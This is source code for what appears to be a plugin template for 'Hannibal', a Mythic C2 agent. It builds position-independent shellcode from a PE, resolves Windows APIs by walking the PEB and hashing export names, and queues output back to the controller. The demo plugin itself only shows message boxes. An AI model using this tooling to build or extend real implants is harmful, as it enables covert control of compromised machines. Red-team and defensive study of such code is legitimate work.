17 | ## parse specified executable file and
18 | ## save .text section shellcode into a file
19 | ##
20 | def main() -> None:
21 |     parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' )
22 |     parser.add_argument( '-f', required = True,  help = 'Path to the source executable', type = str )
23 |     parser.add_argument( '-o', required = True,  help = 'Path to store the output raw binary', type = str )
24 |     option = parser.parse_args()
25 | 
26 |     executable  = pefile.PE( option.f )
27 |     shellcode   = bytearray( executable.sections[ 0 ].get_data() )
28 |     shellcode   = shellcode[ : shellcode.find( HANNIBAL_END ) ]
29 |     size        = len( shellcode )
30 | 
31 |     pages    = size_to_pages( size )
32 |     padding  = ( ( pages * PAGE_SIZE ) - size )
33 | 
34 |     for i in range( padding ):
35 |         shellcode.append( 0 )
36 | 
37 |     size = len( shellcode )
38 | 
39 |     print( f"[*] payload len : { size - padding } bytes" )
40 |     print( f"[*] size        : { size } bytes" )
41 |     print( f"[*] padding     : { padding } bytes" )
42 |     print( f"[*] page count  : { size / PAGE_SIZE } pages" )
43 | 
44 |     file = open( option.o, 'wb+' )
45 | 
46 |     file.write( shellcode )
47 |     file.close()
48 | 
49 |     return
50 | 
51 | if __name__ in '__main__':
52 |     main()


--------------------------------------------------------------------------------
/src/hannibal.c:
--------------------------------------------------------------------------------
  1 | #include "hannibal.h"
  2 | 
  3 | 
  4 | ////////////////////////////////////////////////// PIC BUILD
  5 | #ifdef PIC_BUILD
  6 | 
  7 | 
  8 | /**
  9 |  * Remember this is passing in the hannibal instance structure
 10 |  * from the main agent. The base address for this HBIN will be 
 11 |  * different.
 12 |  * 
 13 |  * The current buffer looks like this:
 14 |  *           8 Bytes             N Bytes
 15 |  * PTR To PTR > HBIN_IN struct | HBIN
 16 |  */
 17 | 
 18 | EXTERN_C SECTION_CODE VOID hbin_main(
 19 |     _In_ PVOID Param
 20 | ) {
 21 | 
 22 |     PVOID base = StRipStart();
 23 |     PVOID in_struct = GetInStruct();
 24 | 
 25 |     HBIN_IN *in = *(HBIN_IN **)in_struct;
 26 |     LPVOID arg_buff = in->args;
 27 |     int arg_buff_size = in->arg_size;
 28 | 
 29 |     PINSTANCE hannibal_instance_ptr = in->hannibal_instance;
 30 | 
 31 | 
 32 | #else 
 33 | 
 34 | ////////////////////////////////////////////////// DEBUG BUILD
 35 | 
 36 | 
 37 | /**
 38 |  * Not supported at the moment. You'll have to either load up a full instance or just remove
 39 |  * the hannibal_instance_ptr->Win32. part from function calls when testing.
 40 |  */
 41 | 
 42 | // INSTANCE hannibal_instance;
 43 | // PINSTANCE hannibal_instance_ptr = &hannibal_instance;
 44 | 
 45 | int main(
 46 |     _In_ PVOID Param
 47 | ) {
 48 |     
 49 | #endif
 50 | 
 51 | 
 52 |     /**
 53 |      * The arg buffer is serialized in the order you passed them in via the Mythic Modal.
 54 |      * You will need to read them one at a time using the correct deserializer functions.
 55 |      * They must be read in the same order you passed them into Mythic.
 56 |      */
 57 | 
 58 |     LPVOID arg_buff_cursor = arg_buff;
 59 | 
 60 |     UINT32 test_arg_uint32 = ReadUint32(&arg_buff_cursor);
 61 |     CHAR *test_arg_string = ReadString(&arg_buff_cursor, arg_buff_size);
 62 |     WCHAR *test_arg_wstring = ReadStringW(&arg_buff_cursor, arg_buff_size);
 63 | 
 64 |     WCHAR uint32W[9] = {0};
 65 |     dword_to_wchar(test_arg_uint32, uint32W, 10);
 66 | 
 67 |     /**
 68 |      * For demonstration purposes, I'm ensuring that User32.dll is
 69 |      * loaded and these functions are resolved. If you know the agent
 70 |      * has already resolved these into the instance pointer then this is
 71 |      * not needed. If you call a function that has not been resolved you
 72 |      * will crash the agent. TODO: Hash strings.
 73 |      */
 74 | 
 75 |     hannibal_instance_ptr->Modules.User32 = hannibal_instance_ptr->Win32.LoadLibraryA("User32");
 76 |     hannibal_instance_ptr->Win32.MessageBoxA = get_func_ptr_from_module_eat(hannibal_instance_ptr->Modules.User32, HASH_STR("MessageBoxA"));
 77 |     hannibal_instance_ptr->Win32.MessageBoxW = get_func_ptr_from_module_eat(hannibal_instance_ptr->Modules.User32, HASH_STR("MessageBoxW"));
 78 | 
 79 |     hannibal_instance_ptr->Win32.MessageBoxW( NULL, (LPCWSTR)uint32W, L"ARG_1", MB_OK );
 80 |     hannibal_instance_ptr->Win32.MessageBoxA( NULL, (LPCSTR)test_arg_string, "ARG_2", MB_OK );
 81 |     hannibal_instance_ptr->Win32.MessageBoxW( NULL, (LPCWSTR)test_arg_wstring, L"ARG_3", MB_OK );
 82 | 
 83 |     
 84 |     
 85 |     /**
 86 |      * All contents of the response buffer must be encoded as wide characters.
 87 |      * Only a single wide null byte at the end. So effectively it is a single
 88 |      * WCHAR string. These examples show how to handle numbers.
 89 |      */
 90 |     
 91 |     WCHAR favabeans[] = L" - FROM INSIDE HBIN";
 92 | 
 93 |     UINT32 resp_size = sizeof(uint32W) + sizeof(favabeans);
 94 | 
 95 |     CHAR *res_buf = (CHAR *)hannibal_instance_ptr->Win32.VirtualAlloc(
 96 |         NULL, 
 97 |         resp_size, 
 98 |         MEM_COMMIT, 
 99 |         PAGE_READWRITE
100 |     );
101 | 
102 |     
103 |     pic_memcpy(res_buf, uint32W, sizeof(uint32W)); // There's some extra nulls in this so Mythic renders it a bit incorrect. TODO: Do this cleaner.
104 |     pic_memcpy(res_buf + sizeof(uint32W), favabeans, sizeof(favabeans));
105 | 
106 |     /**
107 |      * If you don't submit a task response
108 |      * the task.uuid buffer won't get freed in post_tasking and will make a leak.
109 |      * You have to alloc a new buffer, and copy some sort of WCHAR into it. Even just
110 |      * L"OK" will do.
111 |      */
112 | 
113 |     TASK response_task;
114 |     response_task.task_uuid = in->controller_uuid;
115 |     response_task.output = (LPCSTR)res_buf;
116 |     response_task.output_size = resp_size;
117 | 
118 |     task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_task);
119 | 
120 | 
121 |     /**
122 |      * Remember the ReadString, ReadStringW functions alloc new memory.
123 |      * Free them or you'll get memory leaks.
124 |      */
125 | 
126 |     hannibal_instance_ptr->Win32.VirtualFree(test_arg_string, 0, MEM_RELEASE);
127 |     hannibal_instance_ptr->Win32.VirtualFree(test_arg_wstring, 0, MEM_RELEASE);
128 | 
129 | }


--------------------------------------------------------------------------------
/src/hannibal_tasking.c:
--------------------------------------------------------------------------------
 1 | #include "hannibal_tasking.h"
 2 | 
 3 | 
 4 | SECTION_CODE BOOL task_enqueue(TASK_QUEUE *queue_struct, TASK *TASK)
 5 | {
 6 |     if (queue_struct->size == queue_struct->capacity){
 7 |         return FALSE;
 8 |     }
 9 | 
10 |     queue_struct->rear = (queue_struct->rear + 1) % queue_struct->capacity; // Ensure wrap-around
11 |     queue_struct->queue_ptr[queue_struct->rear] = *TASK;
12 |     queue_struct->size++;    
13 |     return TRUE;
14 | 
15 | }
16 | 
17 | SECTION_CODE BOOL task_dequeue(TASK_QUEUE *queue_struct, TASK *TASK)
18 | {
19 | 
20 |     HANNIBAL_INSTANCE_PTR
21 | 
22 |     if (queue_struct->size == 0){
23 |         return FALSE;
24 |     }
25 | 
26 |     *TASK = queue_struct->queue_ptr[queue_struct->front];
27 | 
28 |     queue_struct->front = (queue_struct->front + 1) % queue_struct->capacity;
29 |     queue_struct->size--;
30 | 
31 |     return TRUE;
32 | }


--------------------------------------------------------------------------------
/src/utility_memory.c:
--------------------------------------------------------------------------------
 1 | #include "utility_memory.h"
 2 | 
 3 | 
 4 | SECTION_CODE void *pic_memcpy(void* dest, const void* src, size_t n) 
 5 | {
 6 |     unsigned char* d = (unsigned char*)dest;
 7 |     const unsigned char* s = (const unsigned char*)src;
 8 |     
 9 |     // Copy byte by byte
10 |     while (n--) {
11 |         *d++ = *s++;
12 |     }
13 |     
14 |     return dest;
15 | }
16 | 
17 | SECTION_CODE INT MemCompare( PVOID s1, PVOID s2, INT len)
18 | {
19 |     PUCHAR p = s1;
20 |     PUCHAR q = s2;
21 |     INT charCompareStatus = 0;
22 | 
23 |     if ( s1 == s2 ) {
24 |         return charCompareStatus;
25 |     }
26 | 
27 |     while (len > 0)
28 |     {
29 |         if (*p != *q)
30 |         {
31 |             charCompareStatus = (*p >*q)?1:-1;
32 |             break;
33 |         }
34 |         len--;
35 |         p++;
36 |         q++;
37 |     }
38 |     return charCompareStatus;
39 | }
40 | 
41 | 


--------------------------------------------------------------------------------
/src/utility_serialization.c:
--------------------------------------------------------------------------------
  1 | #include "utility_serialization.h"
  2 | 
  3 | 
  4 | SECTION_CODE void WriteUint8(UINT8 **buffer, UINT8 value) 
  5 | {
  6 |     **buffer = value;
  7 |     (*buffer)++;
  8 | }
  9 | 
 10 | SECTION_CODE void WriteUint32(UINT8 **buffer, UINT32 value) 
 11 | { 
 12 |     // Ensure little-endian encoding
 13 |     for (int i = 0; i < 4; i++) {
 14 |         **buffer = (UINT8)(value & 0xFF); // Write the least significant byte first
 15 |         (*buffer)++;
 16 |         value >>= 8; // Shift right to get the next byte
 17 |     }
 18 | }
 19 | 
 20 | SECTION_CODE void WriteUint64(UINT8 **buffer, UINT64 value) 
 21 | {
 22 |     for (size_t i = 0; i < sizeof(UINT64); i++) {
 23 |         **buffer = (UINT8)(value & 0xFF); 
 24 |         (*buffer)++;
 25 |         value >>= 8; 
 26 |     }
 27 | }
 28 | 
 29 | SECTION_CODE void WriteString(UINT8 **buffer, const char *str, BOOL include_null)
 30 | {
 31 |     while (*str) {
 32 |         **buffer = *str;
 33 |         (*buffer)++;
 34 |         str++;
 35 |     }
 36 |     if (include_null){
 37 |         **buffer = 0;
 38 |         (*buffer)++;
 39 |     }
 40 | }
 41 | 
 42 | SECTION_CODE void WriteStringW(UINT8 **buffer, const wchar_t *str, BOOL include_null)
 43 | {
 44 |     while (*str) {
 45 |         // Write each wide character (2 bytes)
 46 |         **buffer = (UINT8)(*str & 0xFF);         // Lower byte
 47 |         (*buffer)++;
 48 |         **buffer = (UINT8)((*str >> 8) & 0xFF); // Upper byte
 49 |         (*buffer)++;
 50 |         str++;
 51 |     }
 52 |     if (include_null) {
 53 |         // Write the null terminator (0x0000) as 2 bytes
 54 |         **buffer = 0x00;
 55 |         (*buffer)++;
 56 |         **buffer = 0x00;
 57 |         (*buffer)++;
 58 |     }
 59 | }
 60 | 
 61 | SECTION_CODE void WriteBytes(UINT8 **buffer, const char *str, int size)
 62 | {
 63 |     for (int i = 0; i < size; i++){
 64 |         **buffer = *str;
 65 |         (*buffer)++;
 66 |         str++;
 67 |     }
 68 | }
 69 | 
 70 | SECTION_CODE UINT8 ReadUint8(UINT8 **buffer) 
 71 | {
 72 |     UINT8 value = **buffer;
 73 |     (*buffer)++;
 74 |     return value;
 75 | }
 76 | 
 77 | /**
 78 |  * TODO: Ensure we don't read past end of arg buffer
 79 |  */
 80 | SECTION_CODE UINT32 ReadUint32(UINT8 **buffer) 
 81 | {
 82 |     UINT32 value = 0;
 83 |     for (int i = 0; i < 4; i++) {
 84 |         value |= ((UINT32)**buffer) << (8 * i);
 85 |         (*buffer)++;
 86 |     }
 87 |     return value;
 88 | }
 89 | 
 90 | SECTION_CODE UINT8* ReadBytes(UINT8 **buffer, UINT32 length) 
 91 | {
 92 |     HANNIBAL_INSTANCE_PTR
 93 | 
 94 |     UINT8* bytes = (UINT8*)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 95 |     if (!bytes) return NULL;
 96 | 
 97 |     pic_memcpy(bytes, *buffer, length);
 98 | 
 99 |     *buffer += length;
100 | 
101 |     return bytes;
102 | }
103 | 
104 | SECTION_CODE char* ReadString(UINT8 **buffer, UINT32 length) 
105 | {
106 |     HANNIBAL_INSTANCE_PTR
107 | 
108 |     UINT32 bytesRead = 0;
109 | 
110 |     while (bytesRead < length && (*buffer)[bytesRead] != 0x00) {
111 |         bytesRead++;
112 |     }
113 | 
114 |     if (bytesRead == length) {
115 |         return NULL;  
116 |     }
117 | 
118 |     char* str = (char*)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, bytesRead + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
119 |     if (!str) return NULL;
120 | 
121 |     pic_memcpy(str, *buffer, bytesRead + 1);  // +1 to include the null byte
122 | 
123 |     *buffer += bytesRead + 1;
124 | 
125 |     return str;
126 | }
127 | 
128 | 
129 | SECTION_CODE wchar_t* ReadStringW(UINT8 **buffer, UINT32 length) 
130 | {
131 |     HANNIBAL_INSTANCE_PTR
132 | 
133 |     UINT32 wcharCount = 0;
134 | 
135 |     // Loop to find the null wide character (L'\0' which is 0x00 0x00 in UTF-16)
136 |     while (wcharCount < length / 2) {  // length is in bytes, so divide by 2 for wchar_t units
137 |         if (((*buffer)[wcharCount * 2] == 0x00) && ((*buffer)[wcharCount * 2 + 1] == 0x00)) {
138 |             break;
139 |         }
140 |         wcharCount++;
141 |     }
142 | 
143 |     // If no null wide character found, return NULL (or handle error)
144 |     if (wcharCount == length / 2) {
145 |         return NULL;
146 |     }
147 | 
148 |     wchar_t* str = (wchar_t*)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, (wcharCount + 1) * sizeof(wchar_t), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
149 |     if (!str) return NULL;
150 | 
151 |     pic_memcpy(str, *buffer, (wcharCount + 1) * sizeof(wchar_t));  // +1 to include the null wchar_t
152 | 
153 |     *buffer += (wcharCount + 1) * sizeof(wchar_t);
154 | 
155 |     return str;
156 | }


--------------------------------------------------------------------------------
/src/utility_strings.c:
--------------------------------------------------------------------------------
  1 | #include "utility_strings.h"
  2 | 
  3 | /**
  4 |  * TODO: Cleanup. Functions are inconsistent in design and operation.
  5 |  */
  6 | 
  7 | 
  8 | 
  9 | /*!
 10 |  * @brief
 11 |  *  Hashing data
 12 |  *
 13 |  * @param String
 14 |  *  Data/String to hash
 15 |  *
 16 |  * @param Length
 17 |  *  size of data/string to hash.
 18 |  *  if 0 then hash data til null terminator is found.
 19 |  *
 20 |  * @return
 21 |  *  hash of specified data/string
 22 |  */
 23 | SECTION_CODE ULONG HashString(
 24 |     _In_ PVOID  String,
 25 |     _In_ SIZE_T Length
 26 | ) {
 27 |     ULONG  Hash = { 0 };
 28 |     PUCHAR Ptr  = { 0 };
 29 |     UCHAR  Char = { 0 };
 30 | 
 31 |     if ( ! String ) {
 32 |         return 0;
 33 |     }
 34 | 
 35 |     Hash = H_MAGIC_KEY;
 36 |     Ptr  = ( ( PUCHAR ) String );
 37 | 
 38 |     do {
 39 |         Char = *Ptr;
 40 | 
 41 |         if ( ! Length ) {
 42 |             if ( ! *Ptr ) break;
 43 |         } else {
 44 |             if ( (UINT_PTR)( Ptr - (UINT_PTR)( String ) ) >= Length ) break;
 45 |             if ( !*Ptr ) ++Ptr;
 46 |         }
 47 | 
 48 |         if ( Char >= 'a' ) {
 49 |             Char -= 0x20;
 50 |         }
 51 | 
 52 |         Hash = ( ( Hash << 5 ) + Hash ) + Char;
 53 | 
 54 |         ++Ptr;
 55 |     } while ( TRUE );
 56 | 
 57 |     return Hash;
 58 | }
 59 | 
 60 | SECTION_CODE char* pic_strcpy(char* dest, const char* src) 
 61 | {
 62 |     char* d = dest;
 63 |     const char* s = src;
 64 |     
 65 |     // Copy characters one by one until the null terminator is found
 66 |     while ((*d++ = *s++)) {
 67 |         // Loop continues until null terminator is copied
 68 |     }
 69 |     
 70 |     return dest;
 71 | }
 72 | 
 73 | SECTION_CODE size_t pic_strlen(const char *str) 
 74 | { // Len not including null terminator
 75 |     const char *s = str;
 76 |     while (*s != '\0') {
 77 |         s++;
 78 |     }
 79 |     return (size_t)(s - str);
 80 | }
 81 | 
 82 | SECTION_CODE size_t pic_strlenW(const wchar_t *wstr) 
 83 | {
 84 |     const wchar_t *s = wstr;
 85 |     while (*s != L'\0') {
 86 |         s++;
 87 |     }
 88 |     return (size_t)(s - wstr);
 89 | }
 90 | 
 91 | /*
 92 |     0: If the strings are identical up to the end of the shortest string (i.e., they are equal).
 93 |     Positive Value: If the first differing character in str1 is greater than the corresponding character in str2.
 94 |     Negative Value: If the first differing character in str1 is less than the corresponding character in str2.
 95 | */
 96 | SECTION_CODE int pic_strcmp(const char *str1, const char *str2)
 97 | {
 98 |     while (*str1 && (*str1 == *str2)) {
 99 |         str1++;
100 |         str2++;
101 |     }
102 |     return (*(unsigned char *)str1 - *(unsigned char *)str2);
103 | }
104 | 
105 | SECTION_CODE int pic_strcmpW(const wchar_t *wstr1, const wchar_t *wstr2) 
106 | {
107 |     while (*wstr1 && (*wstr1 == *wstr2)) {
108 |         wstr1++;
109 |         wstr2++;
110 |     }
111 |     return (int)(*wstr1 - *wstr2);
112 | }
113 | 
114 | SECTION_CODE int pic_strncmp(const char *s1, const char *s2, size_t n) 
115 | {
116 |     // Compare up to `n` characters or until a null terminator is encountered
117 |     while (n > 0 && *s1 && *s2) {
118 |         if (*s1 != *s2) {
119 |             return (unsigned char)*s1 - (unsigned char)*s2;
120 |         }
121 |         s1++;
122 |         s2++;
123 |         n--;
124 |     }
125 |     
126 |     // If we've exhausted the `n` characters, or one string ended
127 |     if (n == 0) {
128 |         return 0;
129 |     }
130 |     
131 |     // If any of the strings are terminated, return the difference of the characters
132 |     if (*s1 != *s2) {
133 |         return (unsigned char)*s1 - (unsigned char)*s2;
134 |     }
135 |     
136 |     return 0;
137 | }
138 | 
139 | SECTION_CODE char *pic_strncpy(char *dest, const char *src, size_t n)
140 | {
141 |     char *d = dest;
142 |     const char *s = src;
143 |     
144 |     while (n > 0) {
145 |         if (*s == '\0') {
146 |             // If the source string ends, fill the rest with null bytes
147 |             *d = '\0';
148 |             while (--n > 0) {
149 |                 *(++d) = '\0';
150 |             }
151 |             break;
152 |         }
153 |         // Copy the character from source to destination
154 |         *d++ = *s++;
155 |         --n;
156 |     }
157 |     
158 |     // If n reaches 0, ensure null-termination
159 |     if (n == 0) {
160 |         *d = '\0';
161 |     }
162 |     
163 |     return dest;
164 | }
165 | 
166 | SECTION_CODE void pic_strcat(char *str1, char *str2)
167 | {
168 | 
169 |     int i, j=0;
170 | 
171 |     // Otherwise If UUID not initalized, segfault
172 |     // if(str2 != '0x00'){
173 |     //     return;
174 |     // }
175 | 
176 |     //Copying string 2 to the end of string 1
177 |     for( i=pic_strlen(str1); str2[j]!='\0'; i++ ) {
178 |         str1[i]=str2[j];
179 |         j++;
180 |     }
181 | 
182 |     str1[i]='\0';
183 | }
184 | 
185 | SECTION_CODE void pic_strcatW(wchar_t *wstr1, wchar_t *wstr2)
186 | {
187 |     // Find the end of the first wide string
188 |     wchar_t *end = wstr1;
189 |     while (*end != L'\0') {
190 |         end++;
191 |     }
192 | 
193 |     // Append the second wide string to the end of the first one
194 |     while (*wstr2 != L'\0') {
195 |         *end = *wstr2;
196 |         end++;
197 |         wstr2++;
198 |     }
199 | 
200 |     // Null-terminate the concatenated string
201 |     *end = L'\0';
202 | }
203 | 
204 | // Helper function to convert DWORD to WCHAR string
205 | SECTION_CODE void dword_to_wchar(DWORD value, WCHAR* buffer, int base) 
206 | {
207 |     WCHAR* ptr = buffer;
208 |     WCHAR* ptr1 = buffer;
209 |     WCHAR tmp_char;
210 |     DWORD quotient = value;
211 | 
212 |     if (value == 0) {
213 |         *ptr++ = L'0';
214 |         *ptr = L'\0';
215 |         return;
216 |     }
217 | 
218 |     // Convert to string
219 |     while (quotient != 0) {
220 |         DWORD digit = quotient % base;
221 |         *ptr++ = (WCHAR)(digit < 10 ? L'0' + digit : L'A' + digit - 10);
222 |         quotient /= base;
223 |     }
224 |     *ptr-- = L'\0';
225 | 
226 |     // Reverse the string
227 |     while (ptr1 < ptr) {
228 |         tmp_char = *ptr;
229 |         *ptr-- = *ptr1;
230 |         *ptr1++ = tmp_char;
231 |     }
232 | }
233 | 
234 | SECTION_CODE void ulong_to_wchar(ULONG64 value, WCHAR *buffer) 
235 | {
236 |     WCHAR* ptr = buffer;
237 |     WCHAR* ptr1 = buffer;
238 |     WCHAR tmp_char;
239 |     ULONG64 quotient = value;
240 | 
241 |     // Handle 0 explicitly
242 |     if (value == 0) {
243 |         *ptr++ = L'0';
244 |         *ptr = L'\0';
245 |         return;
246 |     }
247 | 
248 |     // Convert to string
249 |     while (quotient != 0) {
250 |         ULONG64 digit = quotient % 10;
251 |         *ptr++ = (WCHAR)(digit < 10 ? L'0' + digit : L'A' + digit - 10);
252 |         quotient /= 10;
253 |     }
254 |     *ptr-- = L'\0';
255 | 
256 |     // Reverse the string
257 |     while (ptr1 < ptr) {
258 |         tmp_char = *ptr;
259 |         *ptr-- = *ptr1;
260 |         *ptr1++ = tmp_char;
261 |     }
262 | }


--------------------------------------------------------------------------------
/src/utility_winapi_function_resolution.c:
--------------------------------------------------------------------------------
  1 | // Credit: https://github.com/Cracked5pider/Stardust
  2 | 
  3 | #include "utility_winapi_function_resolution.h"
  4 | 
  5 | /*!
  6 |  * @brief
  7 |  *  resolve module from peb
  8 |  *
  9 |  * @param Buffer
 10 |  *  Buffer: either string or hash
 11 |  *
 12 |  * @param Hashed
 13 |  *  is the Buffer a hash value
 14 |  *
 15 |  * @return
 16 |  *  module base pointer
 17 |  */
 18 | SECTION_CODE PVOID get_module_ptr_from_peb(
 19 |     _In_ ULONG Hash
 20 | ) {
 21 |     PLDR_DATA_TABLE_ENTRY Data  = { 0 };
 22 |     PLIST_ENTRY           Head  = { 0 };
 23 |     PLIST_ENTRY           Entry = { 0 };
 24 | 
 25 |     Head  = & NtCurrentPeb()->Ldr->InLoadOrderModuleList;
 26 |     Entry = Head->Flink;
 27 | 
 28 |     for ( ; Head != Entry ; Entry = Entry->Flink ) {
 29 |         Data = (PVOID)Entry;
 30 | 
 31 |         if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) {
 32 |             return Data->DllBase;
 33 |         }
 34 |     }
 35 | 
 36 |     return NULL;
 37 | }
 38 | 
 39 | /*!
 40 |  * @brief
 41 |  *  retrieve image header
 42 |  *
 43 |  * @param Image
 44 |  *  image base pointer to retrieve header from
 45 |  *
 46 |  * @return
 47 |  *  pointer to Nt Header
 48 |  */
 49 | SECTION_CODE PIMAGE_NT_HEADERS LdrpImageHeader(
 50 |         _In_ PVOID Image
 51 | ) {
 52 |     PIMAGE_DOS_HEADER DosHeader = { 0 };
 53 |     PIMAGE_NT_HEADERS NtHeader  = { 0 };
 54 | 
 55 |     DosHeader = (PVOID)( Image );
 56 | 
 57 |     if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) {
 58 |         return NULL;
 59 |     }
 60 | 
 61 |     NtHeader = (PVOID)( (UINT_PTR)( Image ) + DosHeader->e_lfanew );
 62 | 
 63 |     if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) {
 64 |         return NULL;
 65 |     }
 66 | 
 67 |     return NtHeader;
 68 | }
 69 | 
 70 | SECTION_CODE PVOID get_func_ptr_from_module_eat(
 71 |     _In_ PVOID Library,
 72 |     _In_ ULONG Function
 73 | ) {
 74 | 
 75 |     HANNIBAL_INSTANCE_PTR
 76 | 
 77 |     PVOID                   Address    = { 0 };
 78 |     PIMAGE_NT_HEADERS       NtHeader   = { 0 };
 79 |     PIMAGE_EXPORT_DIRECTORY ExpDir     = { 0 };
 80 |     SIZE_T                  ExpDirSize = { 0 };
 81 |     PDWORD                  AddrNames  = { 0 };
 82 |     PDWORD                  AddrFuncs  = { 0 };
 83 |     PWORD                   AddrOrdns  = { 0 };
 84 |     PCHAR                   FuncName   = { 0 };
 85 | 
 86 |     if ( ! Library || ! Function ) {
 87 |         return NULL;
 88 |     }
 89 | 
 90 |     if ( ! ( NtHeader = LdrpImageHeader( Library ) ) ) {
 91 |         return NULL;
 92 |     }
 93 | 
 94 |     ExpDir     = (PVOID)( Library + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
 95 |     ExpDirSize = NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;
 96 |     AddrNames  = (PVOID)( Library + ExpDir->AddressOfNames );
 97 |     AddrFuncs  = (PVOID)( Library + ExpDir->AddressOfFunctions );
 98 |     AddrOrdns  = (PVOID)( Library + ExpDir->AddressOfNameOrdinals );
 99 | 
100 |      for ( DWORD i = 0; i < ExpDir->NumberOfNames; i++ ) {
101 | 
102 |         FuncName = (PVOID)( (UINT_PTR)( Library ) + AddrNames[ i ] );
103 | 
104 |         if ( HashString( FuncName, 0 ) != Function ) {
105 |             continue;
106 |         }
107 | 
108 |         Address = (PVOID)( (UINT_PTR)( Library ) + AddrFuncs[ AddrOrdns[ i ] ] );
109 | 
110 |         if ( ( (UINT_PTR)( Address ) >= (UINT_PTR)( ExpDir ) ) &&
111 |              ( (UINT_PTR)( Address ) <  (UINT_PTR)( ExpDir ) + ExpDirSize )
112 |         ) {
113 |             //
114 |             // TODO: need to add support for forwarded functions
115 |             //
116 | 
117 |             __debugbreak();
118 |         }
119 | 
120 |         break;
121 |     }
122 | 
123 |     return Address;
124 | }


--------------------------------------------------------------------------------
/windows_makefile:
--------------------------------------------------------------------------------
 1 | # Generates a fully position independent .bin
 2 | 
 3 | # Make sure all the structs match what you compiled in the agent you're executing this in.
 4 | # For example, if the Instance struct or task structs don't match it will crash and take your agent with it.
 5 | 
 6 | #---------- Performance  ----------#
 7 | 
 8 | # MAKEFLAGS += -s -j1
 9 | MAKEFLAGS += -s -j$(NUMBER_OF_PROCESSORS)
10 | 
11 | #---------- Project Settings  ----------#
12 | 
13 | PROJECT := hannibal
14 | CC_X64	:= x86_64-w64-mingw32-g++
15 | 
16 | #---------- Compiler Flags  ----------#
17 | 
18 | # https://gcc.gnu.org/onlinedocs/gcc/Code-Gen-Options.html
19 | # https://gcc.gnu.org/onlinedocs/gcc/Cygwin-and-MinGW-Options.html
20 | # https://forum.tinycorelinux.net/index.php/topic,26375.0.html
21 | 
22 | CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib 
23 | CFLAGS += -nolibc -nostdlib++ 
24 | CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1
25 | CFLAGS += -s -ffunction-sections -falign-jumps=1 -w
26 | CFLAGS += -falign-labels=1 -fPIC
27 | CFLAGS += -Iinclude -masm=intel -fpermissive -mrdrnd
28 | CFLAGS += -D PIC_BUILD -D PROFILE_MYTHIC_HTTP
29 | 
30 | #---------- Linker Flags  ----------#
31 | 
32 | LDFLAGS := -Wl,-Tscripts/Linker.ld
33 | LDFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup
34 | 
35 | #---------- Paths ----------#
36 | 
37 | ASM_DIR := asm/x64
38 | SRC_DIR := src
39 | OBJ_DIR := bin/obj
40 | BIN_DIR := bin
41 | SRC_FILES := $(wildcard $(SRC_DIR)/*.c)
42 | OBJ_FILES := $(SRC_FILES:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o)
43 | ASM_FILES := $(wildcard $(ASM_DIR)/*.asm)
44 | ASM_OBJ_FILES := $(ASM_FILES:asm/x64/%.asm=bin/obj/%.o)
45 | 
46 | #---------- Targets ----------#
47 | 
48 | all: $(BIN_DIR)/$(PROJECT).exe
49 | 
50 | $(BIN_DIR)/$(PROJECT).exe: $(ASM_OBJ_FILES) $(OBJ_FILES)
51 | 	@ echo "[+] Linking x64 Executable"
52 | 	@ $(CC_X64) bin/obj/*.o -o $(BIN_DIR)/$(PROJECT).exe $(CFLAGS) $(LDFLAGS)
53 | 	@python scripts/build.py -f $(BIN_DIR)/$(PROJECT).exe -o $(BIN_DIR)/$(PROJECT).bin
54 | 	@ del /q bin\obj\*.o 2>nul
55 | 	@ del /q bin\*.exe 2>nul
56 | 
57 | $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c
58 | 	@echo "[+] Compiling $? -> $@"
59 | 	@ $(CC_X64) -o $@ -c  $? $(CFLAGS) $(LDFLAGS)
60 | 
61 | $(ASM_OBJ_FILES): $(OBJ_DIR)/%.o: asm/x64/%.asm
62 | 	@echo "[+] Assembling $? -> $@"
63 | 	@ nasm -f win64 $? -o $@
64 | 
65 | #---------- Utility ----------#
66 | 
67 | clean:
68 | 	@ del /q bin\obj\*.o 2>nul
69 | 	@ del /q bin\obj\*.s 2>nul
70 | 	@ del /q bin\obj\*.ii 2>nul
71 | 	@ del /q bin\*.bin 2>nul
72 | 	@ del /q bin\*.exe 2>nul
73 | 
74 | print:
75 | 	@echo "SRC_FILES: $(SRC_FILES)"
76 | 	@echo "OBJ_FILES: $(OBJ_FILES)"
77 | 	@echo "ASM_FILES: $(ASM_FILES)"
78 | 	@echo "ASM_OBJ_FILES": $(ASM_OBJ_FILES)"


--------------------------------------------------------------------------------